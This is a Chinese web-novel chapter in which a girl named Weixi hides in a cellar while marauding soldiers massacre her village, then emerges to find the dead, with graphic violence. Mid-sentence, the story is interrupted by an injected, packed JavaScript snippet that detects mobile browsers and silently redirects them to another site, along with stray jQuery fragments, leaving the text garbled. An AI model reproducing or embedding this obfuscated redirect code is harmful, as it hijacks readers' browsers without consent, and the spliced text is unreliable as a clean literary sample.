秋意浸骨的时候，北方的风里就总带着些血腥味了。


    乱世的风，从来都不会只吹过一处。


    村里人早听逃难过来的人说过，北境早就打成了一锅粥，各路胡人军队相互攻伐，又联手朝着汉人的城池扑过来，刀光剑影里，没一处安生地方。


    官军也在打，跟胡人打，跟拥兵自重的汉人藩王打，胜仗没听见几场，倒是粮草赋税越发苛重，逼得百姓卖儿鬻女，流离失所。


    李家村的日子，早就在风雨飘摇里打转。


    愿意走的人，拖家带口往南逃了，脚步慢的，多半倒在了路上；不愿意走的，守着祖宗的坟茔，守着几间摇摇欲坠的土屋，总说“叶落归根”，却不知根早就被战火啃得稀烂。


    村西的乱葬岗，新坟垒着旧坟，一抔黄土盖不住尸骨的寒凉。秋日的风一吹，漫山遍野的金灯花开得泼泼洒洒，红得像血，艳得惊心。


    后来，有更仓皇的流民从西边逃来，带来了惊天动地的消息——胡人铁骑集结，攻破了洛阳城。


    巍峨宫阙成了火海，皇帝被俘，王公士民三万余人尽遭屠戮，昔日繁华帝都，如今已是断壁残垣，化作一片废墟。


    消息传开的那天，李家村死寂一片。


    有人蹲在田埂上哭，有人望着西边的方向发呆，谁都知道，洛阳都破了，长安新建的小朝廷自顾不暇，忙着拥立新帝，忙着收拢残兵，哪里还顾得上他们这些蝼蚁般的平民百姓。


    未晞心里悬着的那块石头，沉得快要坠进泥土里。


    她看见村口的老槐树叶子落了大半，看见田埂上的野菜被挖得干干净净，看见夜里的星星，都蒙着一层灰蒙蒙的雾。她不知道，自己的明天在哪里。


    那夜的风，刮得格外急。


    子时刚过，村口就传来了马蹄声，不是官府驿卒的轻快，是沉重的、碾过青石板的闷响，混着粗嘎的笑骂声，像野兽的嘶吼，撕破了村庄的寂静。


    未晞正蜷缩在祖母留下的旧夹袄里，听见声音的瞬间，浑身的血液都冻住了。


    她想起李大牛被拽走时的眼神，想起李伯被踹倒在地的痛呼，几乎是本能地想要藏起来。


    她想起祖母生前的叮嘱，灶房柴草堆是最容易被翻找的地方，真正的活路在屋后。


    屋后那片荒草丛生的坡地上，有一口废弃多年的菜窖。


    窖口被半块青石板盖着，上面又堆了厚厚的枯草和落叶，平日里连村里的野狗都不会多瞧一眼。


    祖母年轻时曾在里面藏过过冬的红薯，后来窖壁渗水，便弃置不用，只有她和祖母知道，窖底角落还能容下一个人蜷身。


    未晞连滚带爬地往后院跑，指甲抠进泥土里，带起一片湿冷的腥气。她掀开盘根错节的枯草，挪开那块沉甸甸的青石板，顾不上窖口扑面而来的霉味，手脚并用地钻了进去。


    她反手将石板拉回原位，又摸过身边的枯草盖在上面，将自己缩在窖底最阴暗的角落。窖壁渗下的水珠滴在脸上，冰凉刺骨，她却连眼皮都不敢眨一下，死死捂住嘴，将呼吸压到最轻。


    窖口的缝隙，成了她唯一的视线出口。


    火把的光，很快就染红了夜空，红得刺眼，晃得她眼睛生疼。


    那群人闯进来了，他们穿着破烂的铠甲，手里的刀沾着暗褐色的血，一脚踹开隔壁二丫家的门。二丫的哭喊声瞬间响起，脆生生的，像被撕裂的布帛：“别碰我！我阿耶会回来的！”


    回应她的，是一声沉闷的钝响。


    然后，哭声戛然而止。


    未晞的牙齿狠狠咬住了嘴唇，尝到了淡淡的血腥味。


    她看见二丫的身子被拖出来，小小的，像被折断的麦穗。那个昨天还笑着塞给她一颗野枣的姑娘，此刻躺在地上，一动不动。


    火把的光映着她脸上的血，和院角的金灯花，红成了一片。


    又有人踹开了张婶家的门。


    张婶的嗓门向来大，此刻却爆发出凄厉的尖叫：“你们这群杀千刀的！我们家男人早就被征走了！家里就剩我和娃了！”


    未晞看见张婶护着怀里的小儿子，像一只护崽的母狼，可她的力气，怎么敌得过那些提着刀的壮汉。


    一个穿着铠甲的人冷笑一声，刀光闪过，张婶的身子晃了晃，然后倒了下去。她怀里的孩子，哭得撕心裂肺，那哭声，很快也被一刀斩断。


    有几个乱兵踱到了她的屋后，靴底碾过枯草的声音，近得像在耳边。


    未晞浑身绷紧，连心跳都快要停滞，她看见火光扫过窖口的石板，掠过那些枯黄的草叶，有个粗哑的声音骂道：“穷乡僻壤，连根像样的柴火都没有！”


    另一个人跟着附和：“搜完赶紧走，这鬼地方待着晦气！”


    脚步声渐渐远去，火把的光也跟着挪开。未晞却依旧不敢动，窖底的霉味混着风里飘来的血腥味，呛得她鼻腔发酸，眼泪无声地滚落，砸在冰冷的窖底泥土上。


    哭喊声、咒骂声、刀砍进肉里的闷响、孩子的啼哭声、房屋被点燃的噼啪声，交织在一起，织成了一张密不透风的网，将整个李家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049366|193516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    村罩住。


    未晞躲在窖底，浑身发抖，她不敢动，不敢出声，甚至不敢大口呼吸。她怕自己一出声，就会像二丫，像张婶，像村里的所有人一样，被那些人一刀砍死。


    不知过了多久，火把的光渐渐稀疏，笑骂声和脚步声慢慢远去，直到彻底消失在夜色里。


    可未晞还是不敢动。


    她躲在窖底，听着自己的心跳声，一下，又一下，像擂鼓。


    她不知道过了多久，也许是一天，也许是两天，她只知道，肚子饿得咕咕叫，喉咙干得冒火，浑身的骨头都像散了架。窖壁的水珠滴个不停，打湿了她的头发和衣裳，冷得她牙齿都在打颤。


    直到阳光透过石板的缝隙，漏下几缕微弱的光，暖得有些发烫。


    直到风里的血腥味，浓得化不开。


    她才敢一点点地，挪动僵硬的身子，伸手推开那块青石板。


    刺眼的阳光涌进来，她眯着眼，好半天才适应。


    眼前的景象，让她浑身的血液都凝固了。


    天是灰的，地是红的。


    往日里炊烟袅袅的村庄，此刻安静得像一座坟墓。


    屋舍被烧得只剩下焦黑的架子，倒塌的院墙压着残破的桌椅。地上到处都是尸体，是她熟悉的面孔——张婶、二丫、李伯、村正阿翁……


    他们横七竖八地躺着，有的胸口被利刃剖开，脏腑混着泥土外翻；有的四肢扭曲断裂，骨头碴刺破衣衫；而每个人的耳廓处，都留着狰狞的创口。


    创口处断裂的软骨混着凝固成黑褐色的血痂，与焦土糊成一片令人作呕的暗红。


    村口的老槐树，被砍断了枝桠，光秃秃的，像一只伸向天空的、绝望的手。


    漫山遍野的金灯花，开得更艳了。红得像血，红得像火，红得灼眼，仿佛是吸饱了这人间的冤魂才开得这般猖獗。


    未晞站在一片狼藉里，像一尊被冻僵的石像。她没有哭，也没有喊，只是看着眼前的一切，看着这个生她养她的地方，变成了活生生的人间地狱。


    风一吹，卷起地上的尘土和浓得化不开的血腥味，直直灌进她的喉咙里。


    她猛地咳嗽起来，一声比一声剧烈，胸腔里翻江倒海，最后竟扶着焦黑的断壁，弯腰剧烈地呕吐起来。


    胃里空空如也，什么也吐不出来，只有酸涩的胆汁灼烧着喉咙，眼泪混着冷汗，终于不受控制地砸在满是血污的泥土里。


    她的家没了。


    她的亲人没了。


    她的根，断了。